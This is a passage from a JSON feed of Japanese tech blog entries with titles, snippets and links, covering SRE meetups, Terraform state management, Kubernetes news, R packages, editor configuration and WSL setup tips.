Userを撲滅できたただ個別要件に対応しにくいSREが見てるケースが多いコーポレートセキュリティは範疇じゃないが、アプリケーションセキュリティは範疇5,6人目にセキュリティが強い人がほしい着想の段階からセキュリティの観点をいれておきたいモニタリングロギングの観点で使用してるAWSのサービスAMPEKS使ってるのでコスパが良かったCloudWatch log通知考えるとLambda使わないとAthenaわずらわしい検索しにくいLokiとかに寄せたいログをどこにおくS3Lokiってこれかな?Grafana Loki | Grafana Labs雑感他の会社のSREの話を今まであまり聞くことがなかったので、気づきを得る部分が多かった。SREのミッション・ビジョン・バリューはちょっと考えてみたいなと思った。オンライン開催の形式はYouTube Liveがいいなあって思った。聞き逃しても巻き戻して聞き返せるのがすごい体験として良い。","link":"https://blog.masasuzu.net/entry/2022/02/26/012602","isoDate":"2022-02-25T16:26:02.000Z","dateMiliSeconds":1645806362000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"[EN]Trident Deep Dive","contentSnippet":"NetApp INSIGHT Japan 2022\\rhttps://insight.netapp.com/ja/\\r\\rvideo: http://netapp.tv/details/28744\\r\\rJapanese ver: https://speakerdeck.com/bells17/trident-deep-dive","link":"https://speakerdeck.com/bells17/en-trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"Trident Deep Dive","contentSnippet":"NetApp INSIGHT Japan 2022�( https://insight.netapp.com/ja/ )のセッション資料です。\\r\\rセッション動画: http://netapp.tv/details/28744\\r\\rセッションリスト\\rhttps://insight.netapp.com/INSIGHTJapanSession.pdf","link":"https://speakerdeck.com/bells17/trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"Mastering the Lightning Network 第1章を読む補足資料","contentSnippet":"https://cryptocurrency.connpass.com/event/239005/\\rMastering the Lightning Network 第1章の補足資料です","link":"https://speakerdeck.com/shukob/mastering-the-lightning-network-di-1zhang-wodu-mubu-zu-zi-liao","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"`list.files`関数で拡張子を指定したファイルを一覧するなら、`pattern = \\"\\\\\\\\.csv$\\"`みたいにすること","contentSnippet":"list.files(pattern = \\".csv\\")みたいなのを見かけるけど、うっかりanalyze-csv.Rみたいなファイルにもマッチするよ。厳密にはlist.files(pattern = \\"\\\\\\\\.csv$\\")としよう。ファイル操作にはfsパッケージも便利。","link":"https://blog.atusy.net/2022/02/25/list-files-pattern/","isoDate":"2022-02-25T00:00:00.000Z","dateMiliSeconds":1645747200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Osaka.R Slackの朝もくチャンネルにツィートボタンを設置","contentSnippet":"Slackではチャンネル上部に関連ページへのリンクを設置できます。メッセージと関連ページのリンクをピン留めするこの機能を使って以下のように、TweetボタンをOsaka.R Slackの朝もくチャンネルに設置しました。","link":"https://blog.atusy.net/2022/02/24/osakar-tweet-button/","isoDate":"2022-02-24T00:00:00.000Z","dateMiliSeconds":1645660800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Neovimのconfigファイルをinit.lua化したので覚書","contentSnippet":"Neovim 0.5からはconfigファイルにinit.luaとしてLuaスクリプトでの記述を推奨しているそうです。そこでVim/Nvim初心者が移行作業にあたって、どうやって情報を収集したか、途中で得た知見、やり残したことをまとめておきます。","link":"https://blog.atusy.net/2022/02/21/nvim-init-lua/","isoDate":"2022-02-21T00:00:00.000Z","dateMiliSeconds":1645401600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Future Tech Night #20 Terraform State縛りの勉強会 #future_tech_night","contentSnippet":"future.connpass.com久しぶりにちゃんと勉強会の感想ブログ書きます。① State の分割戦略 〜ModulesとWorkspacesを利用して〜StateはTerraform上での管理を分ける意味では非常に重要な要素であり、適切に分けることで不慮の事故や予期せぬ変更からクラウドリソースを守ることができます。このセッションでは演者が実際にTerraformを利用して感じたことを交えながら、適切なStateの分割戦略とは?について話します。Stateの分割についてModuleによるアプローチとWorkspacesによるアプローチ、そしてそのあわせ技についての説明がありました。Workspacesは使ったことないのであまり知見がなかったので、いろいろ参考になる部分がありました。今のterraform運用だと環境ごとにディレクトリを切ってstateを分割してます。で、環境ごとの差異としてパラメータだけでなく、作るリソース作らないリソースが若干まちまちなので、そのままだとWorkspacesは向かないなと感じました。絶対に作るリソース、RDSやVPCなどは分割した上でWorkspacesで管理するのはありなのかなとは思いました。ただ、同じシステムで、環境毎のディレクトリとリソース毎のディレクトリが混在するのはわかりにくくならないかなという懸念はあります。悩ましいですねあと、ブランチ戦略も難しいですね。現状はmasterでprdをapplyするように、stagingでそれ以外の環境をapplyするようになってますが、全部masterでやるようにしても良いのではと思ったりもしてる今日このごろです。② クラウドリソース自体をdestroy/createdせずに、Terraformリソース定義の記述場所を変更する方法クラウドサービス上で稼働するリソースには一切手を付けずに、Terraformの定義記載場所だけを変更する方法を話します。Terraformを利用していると「このディレクトリ配置じゃダメだ。配置変えしたいのだけれど、リソースの再作成はできない。次にインフラ設計するときは、〇〇に注意しよう」という運用ナレッジが貯まると思います。スタート時点で完璧なTerraformディレクトリ設計ができれば御の字ですが、それが不可能なことは、この分野でベストプラクティスが確立されていないことにより証明されています。本パートでは「Terraformのディレクトリ配置には定石がないのだから、運用状況に合わせて柔軟に配置換えすべき」という観点から、「動作中リソースに影響なく、Terraform定義箇所を移植する方法」について話します。20220217_FutureTechNight_#20_TerraformState縛りの勉強会.pptx - Google スライドこんなふうに別のtfstateファイルにリソースをmvすることによって、Stateにリソースを移動できる手法を説明してました。terraform state mv -state-out=${moved_resource.tfstate} ${moved_resource}terraform state pull > ${to.tfstate}terraofm state mv -state=${moved_resource.tfstate} -state-out=${to.tfstate}terraform state push ${to.tfstate}State間でのリソース移動に関しては、terraform state rmとterraform importのあわせ技しか知らなかったので、新しい知見を得ました。まだ試せてないないんですが、State内での移動であれば、moved block使うのもありなのかなと思いました。ちなみリソースが消えた場合にもmove blockって使えるんですかね?なかなか他の会社のterraform運用の話を聞く機会があまりなかったので、楽しかったですね。最近勉強会出てもメモすら残さないことが多くて、せっかく参加したのにあまり有意義に時間を使えていなかったので、薄くてもいいので今後ちゃんと感想、意見を書き残していきたいと思いました。","link":"https://blog.masasuzu.net/entry/2022/02/17/210848","isoDate":"2022-02-17T12:08:48.000Z","dateMiliSeconds":1645099728000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Metrics Server","contentSnippet":"Kubernetes Novice Tokyo #16(https://k8s-novice-jp.connpass.com/event/236328/)で発表したセッション資料です。","link":"https://speakerdeck.com/bells17/metrics-server","isoDate":"2022-02-15T05:00:00.000Z","dateMiliSeconds":1644901200000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubelet APIをcurlで叩く","link":"https://bells17.medium.com/curl-to-kubelet-api-f73cb17888b7?source=rss-713cf42ce34d------2","isoDate":"2022-02-10T16:10:23.000Z","dateMiliSeconds":1644509423000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"},{"title":"minidown 0.4.0をCRANにリリースしました","contentSnippet":"minidownパッケージはR Markdownにおけるhtml_documentをもっとイイ感じにしたものです。作った理由や凄いところはTokyo.R 95の発表資料にまとめてます。","link":"https://blog.atusy.net/2022/02/09/minidown-0-4-0/","isoDate":"2022-02-09T00:00:00.000Z","dateMiliSeconds":1644364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"cronRパッケージで環境変数を指定する機能を追加するPRをした","contentSnippet":"登山本で紹介したパッケージの機能不足コメントを頂いたのが嬉し過ぎて、 パッケージに機能追加を提案してきました。","link":"https://blog.atusy.net/2022/01/21/support-envvar-in-cronr/","isoDate":"2022-01-21T00:00:00.000Z","dateMiliSeconds":1642723200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書籍「Rが生産性を高める」のサポートサイトを公開しました","contentSnippet":"igjitさん、hanaoriさんと共に「Rが生産性を高める〜データ分析ワークフロー効率化の実践〜」を共著しました。公式サイト:https://gihyo.jp/book/2022/978-4-297-12524-0サポートサイト: https://github.com/ghmagazine/r_efficiency_book電子版の発売は1/21、紙版の発売は1/26となっています。早くみなさんの元にお届けしたいですね。","link":"https://blog.atusy.net/2022/01/20/r-efficiency-book-support-site/","isoDate":"2022-01-20T00:00:00.000Z","dateMiliSeconds":1642636800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"grepとユカイな仲間たち","contentSnippet":"help(grep)にあるgregexprとかを理解したい。","link":"https://blog.atusy.net/2022/01/18/grep-and-friends/","isoDate":"2022-01-18T00:00:00.000Z","dateMiliSeconds":1642464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"StanでFused LASSOしてみたかった","contentSnippet":"テストデータgenlassoパッケージによる実装正則化項による実装状態空間モデルで実装コメントStanでLASSOを実装すると、罰則化項Lambdaも同時に最適化できる。そりゃいいなと思ったのでFused LASSOも実装してみたくなった。","link":"https://blog.atusy.net/2022/01/12/stan-fused-lasso/","isoDate":"2022-01-12T00:00:00.000Z","dateMiliSeconds":1641945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Stanを使ったBayesian Lassoの実装に関するメモ","contentSnippet":"LASSOは確率モデルだと係数の事前分布にラプラス分布を指定したものに相当するって話はちょいちょい聞くけど、実際の証明とか実装はどうなってるんだろうなーと思ったので、いくつかのサイトを渡り歩いてみた。","link":"https://blog.atusy.net/2022/01/09/bayesian-lasso/","isoDate":"2022-01-09T00:00:00.000Z","dateMiliSeconds":1641686400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"WSL2でDNSは8.8.8.8を見つつX Serverを利用する","contentSnippet":"概要VPNを利用するのでDNSサーバーを8.8.8.8に固定したいしかし、X Serverを使うので環境変数DISPLAYにWindowsが解決するホスト名を使用しているexport DISPLAY=\\"$(hostname).mshome.net:0.0\\"DISPLAYにホスト名ではなくIPアドレスを設定しDNSサーバーを固定する DNSサーバーを固定 /etc/wsl.confを作成/etc/wsl.conf[network]generateResolvConf = false /etc/resolv.confを削除$ sudo unli...","link":"https://zenn.dev/tayusa/articles/8a76c02772d0a5","isoDate":"2021-12-28T00:57:59.000Z","dateMiliSeconds":1640653079000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"RでPython風docstringを実装してみる","contentSnippet":"関数魔改造講座body編と言えるかもしれない……。黒魔術の世界へようこそ。","link":"https://blog.atusy.net/2021/12/20/r-docstring/","isoDate":"2021-12-20T00:00:00.000Z","dateMiliSeconds":1639958400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Accurateの内部実装","link":"https://bells17.medium.com/accurate-internal-70915fe716ca?source=rss-713cf42ce34d------2","isoDate":"2021-12-15T18:56:05.000Z","dateMiliSeconds":1639594565000,"authorName":"bells17","authorId":"bells17"},{"title":"Nuxt.jsを「正しく」終了する","contentSnippet":"はじめにこの記事はNuxt.js Advent Calendar2021の12日目の記事です。11日目は@Skmt3PさんのNuxtのコンポーネントをWeb Componentとして利用するでした。(web component触ってきてないからへぇって気持ちで読まさせていただきました) 概要hooks自体を調べていたときにcloseという項目がありました。そして、説明にはNuxt インスタンスが正しく終了したときというのがありました。「正しく」とは一体…となって原文を見てみるとNuxt instance is gracefully closing.というこ...","link":"https://zenn.dev/satohjohn/articles/fd876409209ed1","isoDate":"2021-12-11T15:35:11.000Z","dateMiliSeconds":1639236911000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Self containedなHTMLドキュメント生成時にiframeしたいなら`knitr::include_url`関数を使おう","contentSnippet":"R Markdownのhtml_documentなどでHTMLドキュメントを作成すると、デフォルトではグラフなどの画像もHTML内に埋め込んでくれます。","link":"https://blog.atusy.net/2021/12/06/rmarkdown-iframe/","isoDate":"2021-12-06T00:00:00.000Z","dateMiliSeconds":1638748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Japan.RでTidy Tuesdayの企画した","contentSnippet":"みんなEnjoyしてくれて成功。私はTidy Tuesdayの企画と、コミュニティ運営に関するパネルディスカッションのパネラーをしました。","link":"https://blog.atusy.net/2021/12/05/japanr2021/","isoDate":"2021-12-05T00:00:00.000Z","dateMiliSeconds":1638662400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Daprつかってみた(Web APIのイメージでローカルストレージとGCSを同じように扱ってみる)","contentSnippet":"この記事は Web API Advent Calendar 2021 の5日目の記事になりますちなみに4日目は@sys_zeroさんのPower Automate for desktopの変数に関するTips「JSONにnull値がある場合の選択的置換」でした今回は、当日まで全く内容について考えられてなかったのですが、ふっと、頭にわいた、個人的に気になっているDaprについて調べて、ローカルストレージとGoogle Cloud Storage(以下GCS)を扱ってみます なんで今回Dapr?Daprを使うメリットの1つとして、他のサービスにつなぐ方法をHTTPまたはgRPCに...","link":"https://zenn.dev/satohjohn/articles/96873574f07534","isoDate":"2021-12-04T15:01:17.000Z","dateMiliSeconds":1638630077000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Tokyo.R 95でminidownパッケージを紹介でLTしてきました","contentSnippet":"LT時間切れで消化不良だったのに☆15もつけてくれてありがとう。","link":"https://blog.atusy.net/2021/10/31/tokyor95/","isoDate":"2021-10-31T00:00:00.000Z","dateMiliSeconds":1635638400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"LinuxでIntel製CPU内蔵のGPUを使うと動画再生時に画面がちらつく問題の対策","contentSnippet":"この1、2ヶ月ほどmanjaroで動画を再生する時、画面がちらつくようになったのが気になっていました。ググったところ、Intel製GPUの場合はちらつき防止のオプションがあるので有効化するといいみたいですね。","link":"https://blog.atusy.net/2021/10/24/linux-tearing-intel-gpu/","isoDate":"2021-10-24T00:00:00.000Z","dateMiliSeconds":1635033600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GKE CNI Deep Dive (2021)","contentSnippet":"GKE (Google Kubernetes Engine) のネットワーク周りの実装はユーザーの見えないところで変化を続けています。以前は、公式ドキュメントにあるように bridge interf…","link":"https://qiita.com/toVersus/items/4ff2525d562d8de4d530","isoDate":"2021-10-23T08:20:56.000Z","dateMiliSeconds":1634977256000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"\uD83D\uDD0D 可観測性に入門しよう","contentSnippet":"社内LTにて、可観測性を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(SREに入門しよう):\\rhttps://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","link":"https://speakerdeck.com/hiroki_hasegawa/ke-guan-ce-xing-niru-men-siyou","isoDate":"2021-10-22T04:00:00.000Z","dateMiliSeconds":1634875200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"WSLでGitHubのPersonal access token認証","contentSnippet":"参考https://github.com/microsoft/Git-Credential-Manager-Core#windows-subsystem-for-linux-wsl GitCredentialManagerとGitをインストールPowerShellにて> winget install --id Microtsoft.GitCredentialManagerCore> winget install --id Git.Gitwingetがなければ https://github.com/microsoft/winget-cli#installing...","link":"https://zenn.dev/tayusa/articles/f81e6551642867","isoDate":"2021-09-30T16:01:55.000Z","dateMiliSeconds":1633017715000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"PandocでPDFを作成する時に表の枠線を格子状にする","contentSnippet":"LuaフィルタからJSONフィルタを呼んで更にPandocを呼びます。辛い。 プリアンブルも必要。 R Markdownユーザーは素直にパッケージを使いましょう。","link":"https://blog.atusy.net/2021/09/22/pandoc-partial-conversion-by-filter/","isoDate":"2021-09-22T00:00:00.000Z","dateMiliSeconds":1632268800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ブランチをディレクトリに割り当つつGit管理対象外ファイルも同期するgit worksyncを作った","contentSnippet":"ブランチごとに別ディレクトリで簡単に作業できるgit worksyncコマンドを作りました。.gitignoreに入っているファイルや、git addしていないファイルも良い感じに同期できます。.venvとかdataとかGitで管理したくないけど、なくてはならないディレクトリをいつもあなたの傍に。","link":"https://blog.atusy.net/2021/09/15/git-worksync-1-0-0/","isoDate":"2021-09-15T00:00:00.000Z","dateMiliSeconds":1631664000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Vuexの型定義でモジュールでの型解決してくれるようにしてみた","contentSnippet":"前提Nuxt.jsでVuexを使っているのでそのときにhttps://github.com/ktsn/vuex-type-helper以下を利用させてもらっていましたただ、モジュールのstore場合利用時にtypeがうまくはまらないから、どうするんだろうとか色々見てたのですがあんまりいい手段が見つからなく、自分で型定義でテンプレートリテラル部分書いたらどうなんだろうとおもってやってみました。正直もっと良い手段があると思いますが、今回は自分の勉強踏まえの備忘録。そして、多分Vue3対応とかが入ったらちゃんと動いていくんだと思うので、後で書き換えればいいし、現状型の問題だけな...","link":"https://zenn.dev/satohjohn/articles/b064cf966a9e20","isoDate":"2021-09-11T04:37:38.000Z","dateMiliSeconds":1631335058000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Google ColabでRパッケージの再インストールを爆速にする","contentSnippet":"Google Driveを活用してtidymodelsパッケージの再インストールを5分から1秒に短縮した。","link":"https://blog.atusy.net/2021/08/30/quickly-install-r-packages-on-colab/","isoDate":"2021-08-30T00:00:00.000Z","dateMiliSeconds":1630281600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"FirebaseのCliでの操作で401系エラーが出るときの解決法","contentSnippet":"考えられる原因は以下ですログインできていない本当に権限がないcliに保存されているクレデンシャルが古い 前提環境としてはfirebase-tools 9.16.5です ログインできていないコレはわかりやすいです。以下コマンドでログインしてくださいfirebase loginちなみに、すでにログインしている場合は、ログインしているアカウントが表示されます(コレはまりポイント 本当に権限がないGCPのIAMの権限を確認してください。個人で直接Firebaseプロジェクトを作っている場合はあまり関係がないかもしれません。 cliに保存されているクレデンシャ...","link":"https://zenn.dev/satohjohn/articles/d409819196c6b8","isoDate":"2021-08-17T05:54:30.000Z","dateMiliSeconds":1629179670000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Rの乱数生成関数は一発で色んなパラメータの分布を作れるよ","contentSnippet":"あまり知られていない事実かもしれませんが、Rで乱数を発生させる関数のパラメータはベクトル化されています。つまり、正規分布から3000個の乱数を作る時、1000個ごとに期待値を0、1、2と変えるようなことが簡単にできます。覚えておくとシミュレーションで乱数が必要な時に、関数呼び出しを一度に纏められて便利&高速です。","link":"https://blog.atusy.net/2021/08/13/vectorize-rng/","isoDate":"2021-08-13T00:00:00.000Z","dateMiliSeconds":1628812800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ストレングスファインダーのコーチングを受けてみた","link":"https://bells17.medium.com/strengthsfinder-2140afddf46f?source=rss-713cf42ce34d------2","isoDate":"2021-08-11T13:27:04.000Z","dateMiliSeconds":1628688424000,"authorName":"bells17","authorId":"bells17"},{"title":"書評「機械学習を解釈する技術」","contentSnippet":"どんな人におすすめか購入を迷う場合感想頭から順に読みたい本付録が充実冒頭の解説がイカス森下光之助(@dropout009)著「機械学習を解釈する技術」を献本頂きました。8月4日から8日までの間に、暇を見つけては開いて読了。せっかくなので全体的な感想をまとめておきたいと思います。読む最中の感想はTwitterのスレッドに綴りました。本稿では蛇足になると判断して省略する部分も多いので、気になる人は覗いてください。","link":"https://blog.atusy.net/2021/08/09/techniques-to-interpret-ml-models/","isoDate":"2021-08-09T00:00:00.000Z","dateMiliSeconds":1628467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83C\uDFD7️ ドメイン駆動設計と依存性逆転の原則","contentSnippet":"社内LTにて、ドメイン駆動設計と依存性逆転の原則を布教しましたʕ◔ϖ◔ʔ\\r\\rはてなブックマークのコメントもどうぞ!\\r\\rなお、ドメイン駆動設計を理解するためには、依存についても知る必要があります。\\r\\r是非、依存関係と依存オブジェクト注入もご参照ください\uD83D\uDC4D\uD83C\uDFFB","link":"https://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","isoDate":"2021-08-06T04:00:00.000Z","dateMiliSeconds":1628222400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"オープンソースが法定通貨になる!ビットコイン・ライトニングネットワーク入門","contentSnippet":"オープンソースカンファレンス2021 Kyotoでの発表です。\\rhttps://event.ospn.jp/osc2021-online-kyoto/session/376855\\r2021年6月、中南米の国エルサルバドルで仮想通貨ビットコインが法定通貨として定められました。ビットコインはオープンソースで稼働しています。ビットコインの少額決済のための応用技術ライトニングネットワークもエルサルバドルでは既に実用化しており、ライトニングネットワークを中心にビットコイン技術を説明させていただきました。","link":"https://speakerdeck.com/shukob/opunsosugafa-ding-tong-huo-ninaru-bitutokoinraitoningunetutowakuru-men","isoDate":"2021-07-31T04:00:00.000Z","dateMiliSeconds":1627704000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Kube API Serverの内部実装を解説する技術同人誌を技術書典11で出しました!","link":"https://bells17.medium.com/wrote-the-kube-api-server-book-2155129db374?source=rss-713cf42ce34d------2","isoDate":"2021-07-19T09:16:43.000Z","dateMiliSeconds":1626686203000,"authorName":"bells17","authorId":"bells17"},{"title":"シェルでエイリアスを無視してコマンドを見つける","contentSnippet":"CMD=\\"foo\\"echo \\"$( unalias $CMD &> /dev/null command -v $CMD)\\"でいい。詳細POSIXにはcommandコマンドがあり、引数をコマンドとして実行してくれます。command git config --get user.name#> atusyaliasを無視してくれる点が魅力ですね。","link":"https://blog.atusy.net/2021/07/14/shell-find-command/","isoDate":"2021-07-14T00:00:00.000Z","dateMiliSeconds":1626220800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについて","contentSnippet":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについてTable of ContentsOracleインストール中にでたSysctl系エラーであたったkernel parameterについてMotivationそもそもsysctlとは何なのか?Oracleセットアップ中に遭遇したkernel parameterssemopm変更方法セマフォ(semaphore)とは?SEMSMLSEMMNSSEMOPMSEMMNIfile-max変更方法rem_default/rem_max/...","link":"https://zenn.dev/nnaka2992/articles/1fa7fb5d03f958","isoDate":"2021-07-11T08:41:03.000Z","dateMiliSeconds":1625992863000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitHub CLI(`gh`)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","contentSnippet":"端末上でレポジトリやissueを曖昧検索して内容をプレビューし、確定したらブラウザで開くなどの操作ができるghfコマンドを作りました。詳しい利用方法やインストール方法は→https://github.com/atusy/gh-fzf。zshプラグイン化しているのでzinitなどのユーザーは導入しやすいと思います。","link":"https://blog.atusy.net/2021/07/10/publish-gh-fzf/","isoDate":"2021-07-10T00:00:00.000Z","dateMiliSeconds":1625875200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsのrecipesパッケージがworkflowsパッケージの使用を推奨し始めた","contentSnippet":"tidymodelsを使ったモデリングにおいて、recipesパッケージは特徴量エンジニアリングを担います。従来、recipesパッケージは単体で、特徴量抽エンジニアリング方法の","link":"https://blog.atusy.net/2021/07/01/tidymodels/","isoDate":"2021-07-01T00:00:00.000Z","dateMiliSeconds":1625097600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocでは--include-in-header引数とheader-includes変数は共存できない","contentSnippet":"ちょっとハマった。Pandocでマークダウンファイルを変換する場合、YAMLフロントマターの設定と引数を用いた設定では、引数が優先権を持つ。で、HTMLファイルのhead要素内に記述を追加する場合は","link":"https://blog.atusy.net/2021/06/30/pandoc-header-includes/","isoDate":"2021-06-30T00:00:00.000Z","dateMiliSeconds":1625011200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83E\uDD1D\uD83C\uDFFB 依存関係と依存オブジェクト注入","contentSnippet":"社内LTにて、依存関係と依存オブジェクト注入を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(ドメイン駆動設計と依存性逆転の原則):\\rhttps://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","link":"https://speakerdeck.com/hiroki_hasegawa/yi-cun-guan-xi-toyi-cun-obuziekutozhu-ru","isoDate":"2021-06-25T04:00:00.000Z","dateMiliSeconds":1624593600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tidymodelsでデータの前処理内容を**tidy**に確認する(公式手順)","contentSnippet":"昨日の投稿で、tidymodelsのrecipesパッケージによる特徴量エンジニアリングを行った歳に、中心化につかった平均値はいくつかPCAの固有ベクトルはなにかをnot tidyに確認する方法を紹介しました。後から気付いたのですが、recipesパッケージはbroom::tidy関数を使って確認する方法を提供しています。tidyじゃ何をtidyにするかわからんし、もうちょい良い名前をつけて欲しいですね。さておき、試してみましょう。","link":"https://blog.atusy.net/2021/06/23/tidy-inspect-tidymodels-preprocessing/","isoDate":"2021-06-23T00:00:00.000Z","dateMiliSeconds":1624406400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidymodelsでデータの前処理内容を確認する","contentSnippet":"tidymodelsはRにおける統計モデリングや機械学習を便利にするためのフレームワークです。tidymodelsを利用するとパイプ演算子による処理の流れが明瞭なモデリングパッケージごとに異なる学習・予測インターフェースの統一といったメリットを享受でき、徐々にはやってきている印象です。","link":"https://blog.atusy.net/2021/06/22/inspect-tidymodels-preprocessing/","isoDate":"2021-06-22T00:00:00.000Z","dateMiliSeconds":1624320000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"HTML+CSSでaとかcodeとかの前後に空白を入れつつ、段落の左端を揃える","contentSnippet":"p a.normal::before,p a.normal::after { content: none;}日本語の場合、単語の間にスペースを入れないため、リンクやコードと平文が地続きになりがちです。ちょっと空白を入れたい時は以下のようなCSSが活躍します。リンクを例にとってみましょう。p a::before,p a::after { content: \\" \\"; font-size: 0; word-spacing: 1rem;}リンクの前後に余白ではなく空白(半角スペース)を使うところがミソです。また、ここではあえて大袈裟に1remの空白を入れて、以下の例でわかりやすくしています。","link":"https://blog.atusy.net/2021/06/21/css-inline-pseudo-margins/","isoDate":"2021-06-21T00:00:00.000Z","dateMiliSeconds":1624233600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Open Telemetry + Google Cloud Trace やってみた","contentSnippet":"モチベーションGoogle Cloud Trace(以下Cloud Trace)がOpen Telemetryの対応をしているということで、更にドキュメントにはないけど(2021-06-14現在)Javaでもライブラリができたので、それを試してみる。分散トレーシングしたいって言う場合、GKEで組んでいる場合、Cloud Traceのライブラリを使って直接送るっていうのもありだが、Open Telemetryを使うことで、他のツールにも送れるような仕組みができる。 前提分散トレーシングについて知っているNuxt.jsについて少し知っている Open Telemetr...","link":"https://zenn.dev/satohjohn/articles/e37e8575966204","isoDate":"2021-06-14T05:35:09.000Z","dateMiliSeconds":1623648909000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"denops.vimを使って引用符と括弧を操作するVimのプラグインを書いた","contentSnippet":"はじめにかねてから、Denoを触ってみたいけど肝心の作るものがないなと思っていました。そんな矢先にたまたまdenops.vimとの邂逅を果たしたので、昔作ったプラグインを書き直してみました。denops.vimについてはhttps://github.com/vim-denops/denops.vimhttps://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9 作ったものhttps://github.com/atsuya0/dps-surrounding.vim題目のとおり、引用符と括弧を操作するvimのプラグイ...","link":"https://zenn.dev/tayusa/articles/58d1c20172f662","isoDate":"2021-06-13T15:41:53.000Z","dateMiliSeconds":1623598913000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Kustomize でスラッシュを含むパスにパッチを当てる","contentSnippet":"背景Kustomize では JSON Patch を用いて base のマニフェストにパッチを当てることができます。例えば,以下のマニフェストdeployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: labels: app.kubernetes.io/name: myapp app.kubernetes.io/version: v1.0.0 name: myapp version: v1.0.0...の version の値を v1.0.1 